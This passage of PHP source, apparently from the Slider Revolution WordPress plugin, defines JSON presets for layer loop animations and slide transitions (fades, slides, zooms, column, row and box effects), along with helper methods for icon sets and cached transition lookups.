frame_999:{opacity:1,blur:4}}}, "lighting":{name:"Lithing",loop:{use:true, yoyo_filter:true, speed:1000, ease:"sine.inOut", frame_0:{brightness:100}, frame_999:{brightness:1000}}} }}, "wave":{group:"Wave", transitions: { "littlewaveleft":{name:"Little Wave Left", loop:{use:true, curved:true, speed:3000, ease:"none", frame_0:{xr:60,yr:60}, frame_999:{xr:60,yr:60}}}, "littlewaveright":{name:"Little Wave Right", loop:{use:true, curved:true, speed:3000, ease:"none", frame_0:{xr:60,yr:-60}, frame_999:{xr:60,yr:-60}}}, "Bigwaveleft":{name:"Big Wave Left", loop:{use:true, curved:true, speed:3000, ease:"none", frame_0:{xr:140,yr:140}, frame_999:{xr:140,yr:140}}}, "Bigwaveright":{name:"Big Wave Right", loop:{use:true, curved:true, speed:3000, ease:"none", frame_0:{xr:140,yr:-140}, frame_999:{xr:140,yr:-140}}}, "eight":{name:"Curving Wave", loop:{use:true, curved:true, speed:3000, ease:"none", curviness:8, frame_0:{xr:100,yr:100}, frame_999:{xr:100,yr:100}}} }}, "wiggle":{group:"Wiggles", transitions: { "smoothwigglez":{name:"Smooth Y Axis Wiggle", loop:{use:true, yoyo_rotate:true, speed:3000, ease:"sine.inOut", frame_0:{rotationY:-40}, frame_999:{rotationY:40}}}, "smoothwigglezii":{name:"Smooth Y Axis Wiggle II.", loop:{use:true, originZ:60, yoyo_rotate:true, speed:3000, ease:"sine.inOut", frame_0:{rotationY:-40}, frame_999:{rotationY:40}}}, "smoothwiggleziii":{name:"Smooth Y Axis Wiggle III.", loop:{use:true, originZ:-160, yoyo_rotate:true, speed:3000, ease:"sine.inOut", frame_0:{rotationY:-40}, frame_999:{rotationY:40}}}, "smoothwigglex":{name:"Smooth X Axis Wiggle", loop:{use:true, yoyo_rotate:true, speed:3000, ease:"sine.inOut", frame_0:{rotationX:-40}, frame_999:{rotationX:40}}}, "smoothwigglexii":{name:"Smooth X Axis Wiggle II", loop:{use:true, originZ:60, yoyo_rotate:true, speed:3000, ease:"sine.inOut", frame_0:{rotationX:-40}, frame_999:{rotationX:40}}}, "smoothwigglexiii":{name:"Smooth X Axis Wiggle III", loop:{use:true, originZ:-160, yoyo_rotate:true, speed:3000, ease:"sine.inOut", frame_0:{rotationX:-40}, frame_999:{rotationX:40}}}, "crazywiggle":{name:"Funny Wiggle Path", loop:{use:true, originZ:-160, originY:"-50%", yoyo_scale:true, yoyo_move:true, yoyo_rotate:true, speed:3000, ease:"circ.inOut", frame_0:{x:100, y:-70,rotationX:-20, rotationY:-20, rotationZ:10}, frame_999:{x:0, y:70,scaleX:1.4, scaleY:1.4, rotationX:30, rotationY:10, rotationZ:-5}}} }}, "rotate":{group:"Rotating", transitions: { "rotating":{name:"Rotate", loop:{use:true, speed:3000, ease:"none", frame_0:{rotationZ:0}, frame_999:{rotationZ:360}}}, "rotatingyoyo":{name:"Rotate Forw. Backw.", loop:{use:true, yoyo_rotate:true, speed:3000, ease:"none", frame_0:{rotationZ:-100}, frame_999:{rotationZ:100}}}, "leaf":{name:"Flying Around", loop:{use:true, curved:true, curviness:25, yoyo_rotate:true, yoyo_filter:true, speed:6000, ease:"none", frame_0:{xr:30,yr:22,zr:40}, frame_999:{xr:40,yr:12, zr:-100, rotationZ:720,blur:5}}}, }}, "slide":{group:"Slide and Hover", transitions: { "slidehorizontal":{name:"Slide Horizontal", loop:{use:true, yoyo_move:true, speed:3000, ease:"sine.inOut", frame_0:{x:-100}, frame_999:{x:100}}}, "hoover":{name:"Hover", loop:{use:true, yoyo_move:true,speed:6000, ease:"sine.inOut", frame_0:{y:-10}, frame_999:{y:10}}}, }}, "pulse":{group:"Pulse", transitions: { "pulse":{name:"Pulse", loop:{use:true, yoyo_scale:true, yoyo_filter:true, speed:2000, ease:"power4.inOut", frame_999:{scaleX:1.2, scaleY:1.2}}}, "pulseminus":{name:"Pulse Minus", loop:{use:true, yoyo_scale:true, yoyo_filter:true, speed:2000, ease:"power0.inOut", frame_999:{scaleX:0.8, scaleY:0.8}}}, "pulseandopacity":{name:"Pulse and Fade", loop:{use:true, yoyo_scale:true, yoyo_filter:true, speed:2000, ease:"power0.inOut", frame_999:{scaleX:1.2, scaleY:1.2,opacity:0.6}}}, "pulseandopacityminus":{name:"Pulse and Fade Minus", loop:{use:true, yoyo_scale:true, yoyo_filter:true, speed:2000, ease:"power2.inOut", frame_999:{scaleX:0.8, scaleY:0.8,opacity:0.6}}}, "pulseandopablur":{name:"Pulse and Blur", loop:{use:true, yoyo_scale:true, yoyo_filter:true, speed:2000, ease:"power1.inOut", frame_999:{scaleX:1.2, scaleY:1.2,opacity:0.8,blur:5}}}, "pulseandopablurminus":{name:"Pulse and Blur Minus", loop:{use:true, yoyo_scale:true, yoyo_filter:true, speed:2000, ease:"power0.inOut", frame_999:{scaleX:0.8, scaleY:0.8,opacity:0.8,blur:5}}} }}, }'; $anim = array(); $anim['in'] = ($raw) ? $in : json_decode($in, true); $anim['out'] = ($raw) ? $out : json_decode($out, true); $anim['loop'] = ($raw) ? $loop : json_decode($loop, true); return $anim; } /** * add default icon sets of Slider Revolution * @since: 5.0 * @before: RevSliderBase::set_icon_sets(); **/ public function set_icon_sets($icon_sets){ $icon_sets[] = 'fa-icon-'; $icon_sets[] = 'fa-'; $icon_sets[] = 'pe-7s-'; return $icon_sets; } /** * attempt to load cache for _get_base_transitions * @return mixed */ public function get_base_transitions($raw = false){ return $this->get_wp_cache('_get_base_transitions', array($raw)); } /** * get base transitions **/ protected function _get_base_transitions($raw = false){ $transitions = '{ "basic":{ "icon":"aspect_ratio", "fade":{ "notransition":{"title":"*clear* No Transition","speed":"10","in":{"o":1},"out":{"a":false, "o":1}}, "fade":{"title":"*opacity* Fade In","in":{"o":0},"out":{"a":false}}, "crossfade":{"title":"*opacity* Cross Fade","in":{"o":0}}, "fadethroughdark":{"title":"*dark_mode* Via Dark","in":{"o":0},"out":{"a":false,"o":0},"p":"dark"}, "fadethroughlight":{"title":"*light_mode* Via Light","in":{"o":0},"out":{"a":false,"o":0},"p":"light"}, "fadethroughtransparent":{"title":"*grain* Via Transparent", "in":{"o":0},"out":{"a":false,"o":0},"p":"transparent"}, "slotfade-vertical":{"title":"*south* Gradient","in":{"o":0,"row":400}}, "slotfade-horizontal":{"title":"*east* Gradient","in":{"o":0,"col":400}} }, "slideover":{ "slideoververtical":{"title":"*swap_vert* Auto Direction","in":{"y":"(100%)"},"out":{"a":false}}, "slideoverhorizontal":{"title":"*swap_horiz* Auto Direction","in":{"x":"(100%)"},"out":{"a":false}}, "slideoverup":{"title":"*north*","in":{"y":"100%"},"out":{"a":false}}, "slideoverdown":{"title":"*south*","in":{"y":"-100%"},"out":{"a":false}}, "slideoverleft":{"title":"*west*","in":{"x":"100%"},"out":{"a":false}}, "slideoverright":{"title":"*east*","in":{"x":"-100%"},"out":{"a":false}} }, "remove":{ "slideremovevertical":{"title":"*swap_vert* Auto Direction","out":{"a":false,"y":"(-100%)"}}, "slideremovehorizontal":{"title":"*swap_horiz* Auto Direction","out":{"a":false,"x":"(-100%)"}}, "slideremoveup":{"title":"*north*","out":{"a":false,"y":"100%"}}, "slideremovedown":{"title":"*south*","out":{"a":false,"y":"-100%"}}, "slideremoveleft":{"title":"*west*","out":{"a":false,"x":"100%"}}, "slideremoveright":{"title":"*east*","out":{"a":false,"x":"-100%"}} }, "slideinout":{ "slidevertical":{"title":"*swap_vert* Auto Direction", "in":{"y":"(100%)"}}, "slidehorizontal":{"title":"*swap_horiz* Auto Direction","in":{"x":"(100%)"}}, "slideup":{"title":"*north*", "in":{"y":"100%"}}, "slidedown":{"title":"*south*", "in":{"y":"-100%"}}, "slideleft":{"title":"*west*", "in":{"x":"100%"}}, "slideright":{"title":"*east*", "in":{"x":"-100%"}} }, "slideinoutfadein":{ "slidefadeinvertical":{"title":"*swap_vert* Auto Direction","in":{"o":0,"y":"(100%)"},"out":{"a":false}}, "slidefadeinhorizontal":{"title":"*swap_horiz* Auto Direction","in":{"o":0,"x":"(100%)"},"out":{"a":false}}, "fadefrombottom":{"title":"*north*","in":{"o":0,"y":"100%"},"out":{"a":false}}, "fadefromtop":{"title":"*south*","in":{"o":0,"y":"-100%"},"out":{"a":false}}, "fadefromright":{"title":"*west*","in":{"o":0,"x":"100%"},"out":{"a":false}}, "fadefromleft":{"title":"*east*","in":{"o":0,"x":"100%"},"out":{"a":false}} }, "slideinoutfadeinout":{ "slidefadeinoutvertical":{"title":"*swap_vert* Auto Direction","in":{"o":0,"y":"(100%)"}}, "slidefadeinouthorizontal":{"title":"*swap_horiz* Auto Direction","in":{"o":0,"x":"(100%)"}}, "fadetotopfadefrombottom":{"title":"*north*","in":{"o":0,"y":"100%"}}, "fadetobottomfadefromtop":{"title":"*south*","in":{"o":0,"y":"-100%"}}, "fadetoleftfadefromright":{"title":"*west*","in":{"o":0,"x":"100%"}}, "fadetorightfadefromleft":{"title":"*east*","in":{"o":0,"x":"100%"}} }, "parallax":{ "parallaxvertical":{"title":"*swap_vert* Auto Direction", "in":{"y":"(100%)"},"out":{"a":false,"y":"(-60%)"}}, "parallaxhorizontal":{"title":"*swap_horiz* Auto Direction", "in":{"x":"(100%)"},"out":{"a":false,"x":"(-60%)"}}, "parallaxtotop":{"title":"*north*", "in":{"y":"100%"},"out":{"a":false,"y":"-60%"}}, "parallaxtobottom":{"title":"*south*", "in":{"y":"-100%"},"out":{"a":false,"y":"60%"}}, "parallaxtoleft":{"title":"*west*", "in":{"x":"100%"},"out":{"a":false,"x":"-60%"}}, "parallaxtoright":{"title":"*east*", "in":{"x":"-100%"},"out":{"a":false,"x":"60%"}} }, "double":{ "slidingoverlayvertical":{"title":"*swap_vert* Auto Direction","speed":"2000", "in":{"y":"(100%)"},"e":"slidingoverlay"}, "slidingoverlayhorizontal":{"title":"*swap_horiz* Auto Direction","speed":"2000","in":{"x":"(100%)"},"e":"slidingoverlay"}, "slidingoverlayup":{"title":"*north*","in":{"y":"100%"},"speed":"2000","e":"slidingoverlay"}, "slidingoverlaydown":{"title":"*south*","in":{"y":"-100%"},"speed":"2000","e":"slidingoverlay"}, "slidingoverlayleft":{"title":"*west*","in":{"x":"100%"},"speed":"2000","e":"slidingoverlay"}, "slidingoverlayright":{"title":"*east*","in":{"x":"-100%"},"speed":"2000","e":"slidingoverlay"} }, "zoom":{ "zoomin":{"title":"*add*","in":{"sx":"0.6","sy":"0.6","o":0},"out":{"a":false,"sx":"1.6","sy":"1.6","o":0}}, "zoomout":{"title":"*remove*","in":{"sx":"1.6","sy":"1.6","o":-0.5,"e":"power0.inOut"},"out":{"a":false,"sx":"0.6","sy":"0.6","o":0}}, "zoomind":{"title":"*add* Via Dark", "p":"dark", "in":{"sx":"0.6","sy":"0.6","o":0},"out":{"a":false,"sx":"1.6","sy":"1.6","o":0}}, "zoomoutd":{"title":"*remove* Via Dark","p":"dark", "in":{"sx":"1.6","sy":"1.6","o":-0.5,"e":"power0.inOut"},"out":{"a":false,"sx":"0.6","sy":"0.6","o":0}}, "zoominl":{"title":"*add* Via Light", "p":"light", "in":{"sx":"0.6","sy":"0.6","o":0},"out":{"a":false,"sx":"1.6","sy":"1.6","o":0}}, "zoomoutl":{"title":"*remove* Via Light","p":"light", "in":{"sx":"1.6","sy":"1.6","o":-0.5,"e":"power0.inOut"},"out":{"a":false,"sx":"0.6","sy":"0.6","o":0}} }, "zoomslidein":{ "scaledownvertical":{"title":"*swap_vert* Auto Direction", "in":{"y":"(100%)"}, "out":{"a":false, "sx":"0.85", "sy":"0.85", "o":"1"}}, "scaledownhorizontal":{"title":"*swap_horiz* Auto Direction", "in":{"x":"(100%)"}, "out":{"a":false, "sx":"0.85", "sy":"0.85", "o":"1"}}, "scaledownfromtop":{"title":"*north*", "in":{"y":"100%"}, "out":{"a":false, "sx":"0.85", "sy":"0.85", "o":"1"}}, "scaledownfrombottom":{"title":"*south*", "in":{"y":"-100%"}, "out":{"a":false, "sx":"0.85", "sy":"0.85", "o":"1"}}, "scaledownfromleft":{"title":"*west*", "in":{"x":"100%"}, "out":{"a":false, "sx":"0.85", "sy":"0.85", "o":"1"}}, "scaledownfromright":{"title":"*east*", "in":{"x":"-100%"}, "out":{"a":false, "sx":"0.85", "sy":"0.85", "o":"1"}} }, "zoomslideout":{ "scaleupvertical":{"title":"*swap_vert* Auto Direction","o":"outin", "in":{"sx":"0.85", "sy":"0.85","o":"0"}, "out":{"a":false, "y":"(100%)", "o":"1"}}, "scaleuphorizontal":{"title":"*swap_horiz* Auto Direction","o":"outin", "in":{"sx":"0.85", "sy":"0.85","o":"0"}, "out":{"a":false, "x":"(100%)", "o":"1"}}, "scaleupfromtop":{"title":"*north*", "o":"outin","in":{"sx":"0.85", "sy":"0.85" ,"o":"0"}, "out":{"a":false, "y":"-100%", "o":"1"}}, "scaleupfrombottom":{"title":"*south*","o":"outin", "in":{"sx":"0.85", "sy":"0.85","o":"0"}, "out":{"a":false,"y":"100%" , "o":"1"}}, "scaleupfromleft":{"title":"*west*","o":"outin", "in":{"sx":"0.85", "sy":"0.85","o":"0"}, "out":{"a":false, "x":"-100%", "o":"1"}}, "scaleupfromright":{"title":"*east*", "o":"outin","in":{"sx":"0.85", "sy":"0.85","o":"0"}, "out":{"a":false,"x":"100%" , "o":"1"}} }, "filter":{ "blurlight":{"title":"*blur_on* Blur 1x","filter":{"u":true, "b":"2", "e":"default"},"in":{"o":"0","e":"power1.in", "sx":"1.01","sy":"1.01"}}, "blurlightcross":{"title":"*blur_on* Blur 2x","filter":{"u":true, "b":"4", "e":"late2"},"in":{"o":"0","e":"power1.in", "sx":"1.02","sy":"1.02"}}, "blurstrong":{"title":"*blur_on* Blur 3x","filter":{"u":true, "b":"6", "e":"late"},"in":{"o":"0","e":"power1.in", "sx":"1.05","sy":"1.05"}}, "blurstrongcross":{"title":"*blur_on* Blur 4x","filter":{"u":true, "b":"10", "e":"late3"},"in":{"o":"0","e":"power1.in", "sx":"1.1","sy":"1.1"}}, "brightness":{"title":"*brightness_7* Bright 1x","filter":{"u":true, "h":"200", "e":"late"},"in":{"o":"0","e":"power1.in"}}, "brightnesscross":{"title":"*brightness_7* Bright 2x","filter":{"u":true, "h":"400", "e":"late3"},"in":{"o":"0","e":"power1.in"}}, "grayscale":{"title":"*compare* Grayscale 1x","filter":{"u":true, "g":"80", "e":"late"},"in":{"o":"0","e":"power1.in"}}, "grayscalecross":{"title":"*compare* Grayscale 2x","filter":{"u":true, "g":"100", "e":"late2"},"in":{"o":"0","e":"power1.in"}}, "sephia":{"title":"*camera_roll* Sephia 1x","filter":{"u":true, "s":"50", "e":"late"},"in":{"o":"0","e":"power1.in"}}, "sephiacross":{"title":"*camera_roll* Sephia 2x","filter":{"u":true, "s":"100", "e":"late2"},"in":{"o":"0","e":"power1.in"}} }, "effects":{ "cube":{"title":"*view_in_ar* Cube Vert.","speed":"2000", "in":{"o":0},"out":{"a":false},"d3":{"f":"cube", "d":"vertical", "z":"400", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"1"}}, "cube-r":{"title":"*view_in_ar* Cube Far Vert.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"cube", "d":"vertical", "z":"600", "t":"40", "c":"#ccc", "e":"power2.inOut","su":"true"}}, "cube-horizontal":{"title":"*view_in_ar* Cube Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"cube", "d":"horizontal", "z":"400", "c":"#ccc", "e":"power2.inOut","su":"true"}}, "cube-r-horizontal":{"title":"*view_in_ar* Cube Far Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"cube", "d":"horizontal", "t":"-45", "z":"450", "c":"#ccc", "e":"power2.inOut","su":"true"}}, "incube":{"title":"*3d_rotation* Cube Inside Vert.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"incube", "d":"vertical", "z":"400", "c":"#ccc", "e":"power2.inOut"}}, "incube-horizontal":{"title":"*3d_rotation* Cube Inside Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"incube", "d":"horizontal", "z":"400", "c":"#ccc", "e":"power2.inOut"}}, "flyin":{"title":"*send* Fly Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"fly", "d":"horizontal", "z":"400", "c":"#ccc", "e":"power2.out", "fdi":"1.5", "fdo":"1.5", "fz":"10","su":"true"}}, "flyin-r":{"title":"*send* Fly Far Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"fly", "d":"horizontal", "z":"650", "c":"#ccc", "e":"power2.out", "t":"20", "fdi":"1.5", "fdo":"1.5", "fz":"10","su":"true"}}, "flyin-vertical":{"title":"*send* Fly Vert.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"fly", "d":"vertical", "z":"400", "c":"#ccc", "e":"power2.out", "fdi":"1.5","fdo":"1.5", "fz":"10","su":"true"}}, "flyin-vertical-r":{"title":"*send* Fly Far Vert.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"fly", "d":"vertical", "z":"700", "c":"#ccc", "e":"power2.out","t":"-40", "fdi":"1.5","fdo":"1.5", "fz":"10","su":"true"}}, "turnoff":{"title":"*movie_creation* Clapper Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"turn", "d":"horizontal","su":"true"}}, "turnoff-b":{"title":"*movie_creation* Clapper Back Horiz.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"turn", "d":"horizontal", "e":"back.out","su":"true"}}, "turnoff-vertical":{"title":"*movie_creation* Clapper Vert.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"turn", "d":"vertical","su":"true"}}, "turnoff-vertical-e":{"title":"*movie_creation* Clapper Bounce Vert.","speed":"2000","in":{"o":0},"out":{"a":false},"d3":{"f":"turn", "d":"vertical", "e":"BounceStrong","su":"true"}} } }, "columns":{ "icon":"view_week", "slide":{ "slotslide-horizontal":{"title":"*west* Uniform", "in":{"x":"(100%)","m":true,"col":5},"f":"nodelay"}, "slotslide-vhf":{"title":"*west* Flow", "in":{"x":"(100%)","m":true,"col":5},"f":"slidebased"}, "slotslide-vv":{"title":"*north* Flow", "in":{"y":"(100%)","m":true,"col":5},"f":"slidebased"}, "slotslide-h-dark":{"title":"*west* Via Dark", "p":"dark","in":{"x":"(100%)","m":true,"col":5},"f":"nodelay"}, "slotslide-vhfd":{"title":"*west* Flow Via Dark","p":"dark", "in":{"x":"(100%)","m":true,"col":5},"f":"slidebased"}, "slotslide-vvd":{"title":"*north* Flow Via Dark", "p":"dark","in":{"y":"(100%)","m":true,"col":5},"f":"slidebased"}, "slotslide-vvvd":{"title":"*swap_vert* Vary Via Dark","p":"dark", "in":{"y":"[100%,-100%]","m":true,"col":8},"f":"slidebased"}, "slotslide-vvv":{"title":"*swap_vert* Vary", "in":{"y":"[100%,-100%]","m":true,"col":8},"f":"slidebased"} }, "zoom":{ "slotzoom-horizontal":{"title":"*blur_on* Blur", "f":"nodelay", "filter":{"u":true, "b":"2", "e":"default"}, "in":{"col":"6", "e":"power2.inOut", "m":"true", "sx":"1.5", "sy":"1.2", "o":"0"}}, "3dcurtain-horizontal":{"title":"*west* Mini PopUp", "speed":"500", "in":{"x":"(-50%)", "sx":"0.7","sy":"0.7","o":"0","m":true,"col":6,"e":"power4.inOut"},"out":{"a":false},"f":"slidebased","d":"10"}, "slotzoom-mixed":{"title":"*blur_on* Blur & Slide", "f":"start", "d":"50", "filter":{"u":true, "b":"2", "e":"default"}, "in":{"col":"6", "e":"power2.inOut", "m":"true", "x":"(-20%)", "y":"(-20%)","sx":"1.5", "sy":"1.5", "o":"0"}}, "slotzoom-randomcol":{"title":"*shuffle* Random", "speed":"800", "f":"random", "d":"10", "in":{"col":"7", "e":"power2.inOut", "r":"[-5,-3,-10,-5,-2,0,3,10,8,5]", "m":"true", "sx":"2", "sy":"2", "o":"0"}} }, "curtain":{ "curtain-1":{"title":"*east*", "in":{"y":"(-100%)","col":5}}, "curtain-2":{"title":"*west*","in":{"y":"(-100%)","col":5},"f":"end"}, "curtain-3":{"title":"*west**east*","in":{"y":"(-100%)","col":5},"f":"center"}, "curtain-4":{"title":"*east**west*","in":{"y":"(-100%)","col":5},"f":"edges"}, "curtain-5":{"title":"*shuffle* Random","in":{"y":"(-100%)","col":5},"f":"random"}, "curtain-6":{"title":"*swap_horiz* Auto Direction","in":{"y":"(-100%)","col":5},"f":"slidebased"} }, "rotation":{ "slotzoom-minrotatecol":{"title":"*rotate_left* Edge", "speed":"1500", "f":"center", "d":"100", "in":{"col":"7", "e":"power2.inOut", "r":"[10,6,3,0,-3,-6,-10]", "m":"true", "sx":"1.5", "sy":"1.2", "o":"0"}}, "slotzoom-bigrotatecol":{"title":"*rotate_left* Strong Center", "speed":"600", "f":"center", "d":"10", "p":"light", "in":{"col":"50", "e":"power2.inOut", "r":"10", "sx":"1.5", "sy":"1.5", "o":"0"}}, "motioncolrotatesv":{"title":"*north* Motion Blur", "speed":"600", "f":"random", "d":"10", "in":{"mou":true, "mo":"45", "col":"20", "e":"power2.inOut", "r":"{-45,45}", "sx":"0.8", "sy":"0.8", "o":"0", "y":"(100%)"}}, "motioncolrotatesh":{"title":"*west* Motion Blur", "speed":"600", "f":"slidebased", "d":"10", "in":{"mou":true, "mo":"45", "col":"20", "e":"power2.inOut", "r":"{-45,45}", "sx":"0.8", "sy":"0.8", "o":"0", "x":"(100%)"}}, "motioncolrotatehe":{"title":"*shuffle* Double Motion", "speed":"1300", "f":"edges", "d":"15", "in":{"mou":true, "mo":"35", "col":"100", "e":"sine.inOut", "r":"180", "o":"0", "x":"{-20,20}","y":"{-20,20}"},"out":{"a":false}} }, "effects":{ "pullcols":{"title":"*bar_chart* Flow Vert.", "speed":"900", "f":"center", "d":"20", "in":{"col":"400", "e":"power2.inOut", "sx":"4", "sy":"3", "o":"0","y":"(100%)","m":"true"}, "out":{"a":false, "col":"400","m":"true","y":"(-150%)","sx":"3", "sy":"3","e":"power2.inOut"}}, "papercutv":{"title":"*content_cut* Cut Horiz.","o":"outin","speed":"1500","f":"nodelay","in":{"e":"power2.out","y":"(15%)", "x":"(-10%)","r":"20","sx":"0.7","sy":"0.7"},"out":{"a":false,"col":"2","e":"power2.inOut","x":"[-90%|170%]","y":"[(60%)|(130%)]","r":"[(-30)|(60)]","sx":"1.2","sy":"1.3"}}, "switchcol": {"title":"*view_carousel* Switch Horiz.", "speed":"1000", "f":"center", "d":"80","filter":{"u":true, "b":"3", "e":"late2"}, "in":{"col":"3","e":"power2.inOut", "x":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"}}, "slotslide-vvv-3d":{"title":"*view_in_ar* Vary Vert.","speed":"2000", "in":{"y":"[100%,-100%]","m":true,"col":8},"f":"edges","d":"35", "d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "slotslide-vvv-3d2":{"title":"*view_in_ar* Vary Horiz.","speed":"2000", "in":{"x":"[100%,-100%]","m":true,"col":8},"f":"edges","d":"35", "d3":{"f":"cube", "d":"vertical", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "switchcol3d": {"title":"*send* Switch Horiz.", "speed":"2000", "f":"center", "d":"80","filter":{"u":true, "b":"3", "e":"late2"}, "in":{"col":"3","e":"power2.inOut", "x":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"},"d3":{"f":"fly", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}} } }, "rows":{ "icon":"line_weight", "slide":{ "slotslide-vertical":{"title":"*north* Uniform","in":{"y":"(100%)","m":true,"row":5},"f":"nodelay"}, "slotslide-hvf":{"title":"*north* Flow","in":{"y":"(100%)","m":true,"row":5},"f":"slidebased"}, "slotslide-hhf":{"title":"*west* Flow","in":{"x":"(100%)","m":true,"row":5},"f":"slidebased"}, "slotslide-hhh":{"title":"*swap_horiz* Vary","in":{"x":"[100%,-100%]","m":true,"row":8},"f":"slidebased"} }, "zoom":{ "slotzoom-vertical":{"title":"*blur_on* Blur", "f":"nodelay", "filter":{"u":true, "b":"2", "e":"default"}, "in":{"row":"6", "e":"power2.inOut", "m":"true", "sx":"1.2", "sy":"1.5", "o":"0"}}, "slotzoom-mixedv":{"title":"*blur_on* Blur & Slide", "f":"start", "d":"50", "filter":{"u":true, "b":"2", "e":"default"}, "in":{"row":"6", "e":"power2.inOut", "m":"true", "x":"(-20%)", "y":"(-20%)","sx":"1.5", "sy":"1.5", "o":"0"}}, "3dcurtain-vertical":{"title":"*north* Mini PopUp", "speed":"500", "in":{"y":"(-50%)", "sx":"0.7","sy":"0.7","o":"0","m":true,"row":5,"e":"power4.inOut"},"out":{"a":false},"f":"slidebased","d":"10"} }, "rotation":{ "slotzoom-minrotaterow":{"title":"*rotate_left* Edge", "speed":"1500", "f":"center", "d":"100", "in":{"row":"7", "e":"power2.inOut", "r":"[10,6,3,0,-3,-6,-10]", "m":"true", "sx":"1.2", "sy":"1.5", "o":"0"}}, "slotzoom-randomrow": {"title":"*shuffle* Random", "speed":"800", "f":"random", "d":"10", "in":{"row":"7", "e":"power2.inOut", "r":"[-5,-3,-10,-5,-2,0,3,10,8,5]", "m":"true", "sx":"2", "sy":"2", "o":"0"}}, "slotzoom-bigrotaterow":{"title":"*rotate_left* Strong Center", "speed":"600", "f":"center", "d":"10", "p":"dark", "in":{"row":"50", "e":"power2.inOut", "r":"10", "sx":"1.5", "sy":"1.5", "o":"0"}}, "motionrowrotatesh":{"title":"*west* Motion Blur", "speed":"600", "f":"random", "d":"10", "in":{"mou":true, "mo":"45", "row":"20", "e":"power2.inOut", "r":"{-45,45}", "sx":"0.8", "sy":"0.8", "o":"0", "x":"(100%)"}}, "motionrowrotatesv":{"title":"*north* Motion Blur", "speed":"600", "f":"slidebased", "d":"10", "in":{"mou":true, "mo":"45", "row":"20", "e":"power2.inOut", "r":"{-45,45}", "sx":"0.8", "sy":"0.8", "o":"0", "y":"(100%)"}}, "vmotion":{"title":"*shuffle* V Motion", "speed":"1000", "f":"edges", "d":"10", "in":{"mou":true, "mo":"35", "row":"25", "e":"sine.in", "r":"{-40,40}", "sx":"2", "sy":"2", "o":"0", "y":"{-20,20}","x":"{-20,20}"},"out":{"a":false}} }, "effects":{ "pullrows":{"title":"*west* Flow Horiz.", "speed":"900", "f":"center", "d":"20", "in":{"row":"400", "e":"power2.inOut", "sx":"3", "sy":"4", "o":"0","x":"(100%)","m":"true"}, "out":{"a":false, "row":"400","m":"true","x":"(-150%)","sx":"3", "sy":"3","e":"power2.inOut"}}, "papercut":{"title":"*content_cut* Cut Vert.","o":"outin","speed":"1500","f":"nodelay","in":{"e":"power2.out","x":"(15%)", "y":"(-10%)","r":"20","sx":"0.7","sy":"0.7"},"out":{"a":false,"row":"2","e":"power2.inOut","x":"[(60%)|(130%)]","y":"[-90%|170%]","r":"[(-30)|(60)]","sx":"1.3","sy":"1.2"}}, "switchrow": {"title":"*view_day* Switch Vert.", "speed":"1000", "f":"center", "d":"80","filter":{"u":true, "b":"3", "e":"late2"}, "in":{"row":"3","e":"power2.inOut", "y":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"}}, "slotslide-hhh-3d":{"title":"*view_in_ar* Vary Horiz.","speed":"2000", "in":{"x":"[100%,-100%]","m":true,"row":8},"f":"edges","d":"35", "d3":{"f":"cube", "d":"horizontal", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "slotslide-hhh-3d2":{"title":"*view_in_ar* Vary Vert.","speed":"2000", "in":{"y":"[100%,-100%]","m":true,"row":8},"f":"edges","d":"35", "d3":{"f":"cube", "d":"vertical", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}}, "switchrow-3d": {"title":"*3d_rotation* Switch Vert.", "speed":"2000", "f":"center", "d":"80","filter":{"u":true, "b":"3", "e":"late2"}, "in":{"row":"3","e":"power2.inOut", "y":"[-100%|0|100%]", "sx":"[1|0|1]", "sy":"[1|0|1]", "o":"0"},"d3":{"f":"incube", "d":"vertical", "z":"450", "t":"20", "c":"#ccc", "e":"power2.inOut","su":"true", "smi":"0", "sma":"0.5","sc":"#9e9e9e"}} } }, "boxes":{ "icon":"apps", "fade":{ "boxfadedir0":{"title":"*north_west*", "d":"10","in":{"o":0,"sx":1.1,"sy":1.1,"m":true,"row":6,"col":6},"out":{"a":false},"f":"oppslidebased"}, "boxfadedir0d":{"title":"*north_west* Via Dark", "p":"dark", "d":"20","in":{"o":0,"sx":1.1,"sy":1.1,"m":true,"row":6,"col":6},"out":{"a":false},"f":"oppslidebased"}, "boxfadedir1":{ "title":"*zoom_out_map* Center", "d":"15","in":{"o":0,"sx":"1.1","sy":"1.1","m":true,"row":30,"col":30},"out":{"a":false},"f":"center"}, "boxfadedir1d":{"title":"*zoom_out_map* Center Via Dark", "d":"15","p":"dark","in":{"o":0,"sx":"1.1","sy":"1.1","m":true,"row":30,"col":30},"out":{"a":false},"f":"center"}, "boxfadedir2":{ "title":"*crop_free* Edges", "d":"15","in":{"o":0,"sx":"1.1","sy":"1.1","m":true,"row":30,"col":30},"out":{"a":false},"f":"edges"}, "boxfadedir2d":{"title":"*crop_free* Edges Via Dark", 